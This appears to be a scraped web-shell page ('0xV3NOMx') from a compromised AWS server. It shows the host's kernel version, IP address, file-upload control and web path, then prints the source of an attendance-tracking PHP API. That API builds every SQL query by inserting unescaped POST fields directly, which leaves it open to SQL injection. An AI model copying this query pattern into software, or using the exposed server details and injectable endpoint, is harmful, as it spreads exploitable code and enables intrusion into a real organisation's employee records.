0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.221.147.141


Current Path : /var/www/html/oums/api/
Upload File :
Current File : /var/www/html/oums/api/saveAttendace.php

<?php

include("sys_connect.php");

if(!isset($_POST["emplcode"]) || !isset($_POST["deptcode"]) 
|| !isset($_POST["location"]) || !isset($_POST["distance"]) 
|| $_POST["emplcode"] == "" || $_POST["deptcode"] == ""
|| $_POST["location"] == "" || $_POST["distance"] == "" ){
    echo json_encode(array("msg" => "Invalid Params", "error_code" => -1));
    die();    
}
$emplcode = $_POST["emplcode"];
$deptcode = $_POST["deptcode"];
$attndept = $_POST["deptcode"];
$location = $_POST["location"];
$distance = $_POST["distance"];
$remarks = $_POST["remarks"];


$query = "select d.fdeptname, d.flogitime, d.flogotime from masdept d
where d.fdeptcode = '{$deptcode}'";
$myres = mysqli_query($mycon, $query);
$userinfo = mysqli_fetch_assoc($myres);

$glogitime = $userinfo['flogitime'];
$glogotime = $userinfo['flogotime'];

$query = "select femplname, fdeptcode 
from masempl where femplcode='{$emplcode}' and femplstat='T'";

$myres = mysqli_query($mycon, $query);
$count = mysqli_num_rows($myres);

if($count>0) {
    $deptinfo = mysqli_fetch_assoc($myres);
    $deptcode = $deptinfo['fdeptcode'];

    $query = "insert into attenddet(fdeptcode, fattndate, femplcode, 
    fattnstat, flogitime,flocation, fdistance) 
    values('{$deptcode}', date(now()), '{$emplcode}', 'PR', time(now()), 
    '{$location}', '{$distance}')";
    $res = mysqli_query($mycon, $query);


    $query = "select * from attendance where fattndate = date(now())
    and fdeptcode = '{$deptcode}' 
    and femplcode = '{$emplcode}'";

    $myres = mysqli_query($mycon, $query);
    $row = mysqli_fetch_assoc($myres);
    $mycnt = mysqli_num_rows($myres);
    if($mycnt == 0) {
        
        $query = "insert ignore into attendance(fdeptcode, fattndept, fattndate, femplcode, 
        fattnstat, flogitime, flogidiff, fupdtuser, fupdttime, flocation, fdistance) 
        values('{$deptcode}','{$attndept}', date(now()), '{$emplcode}', 'PR', time(now()), 
        timediff(time(now()), time('{$glogitime}')), 'APP', now(), '{$location}', '{$distance}')";
        // var_dump($query);
        $res = mysqli_query($mycon, $query);
    }
    else if($row['flogitime'] == '00:00:00' || $row['flogitime'] == "")
    {
        $query = "update attendance set flogitime = time(now()),
        flogidiff = timediff(time(now()), time('{$glogitime}')),
        flocation = '{$location}', fdistance = '{$distance}'
        where fattndate = date(now()) and fdeptcode = '{$deptcode}' and 
        femplcode = '{$emplcode}'";
        $res = mysqli_query($mycon, $query);
    }
    else 
    {
        $query = "update attendance set flogotime = time(now()),
        flogodiff = timediff(time(now()), time('{$glogotime}')),
        flocation = '{$location}', fdistance = '{$distance}',
        fattnremk = '{$remarks}'
        where fattndate = date(now()) and fdeptcode = '{$deptcode}' and
        femplcode = '{$emplcode}'";
        $res = mysqli_query($mycon, $query);
    }

    if($res) {
        echo json_encode(array("error_code" => 0, 'msg' => "Updated Successfully." ));
    } else {
        echo json_encode(array("error_code" => -1, 'msg' => "Error While Updating" ));
        return;
    }
} else {
    echo json_encode(array("error_code" => -1, 'msg' => "User Inactive" ));
    return;
}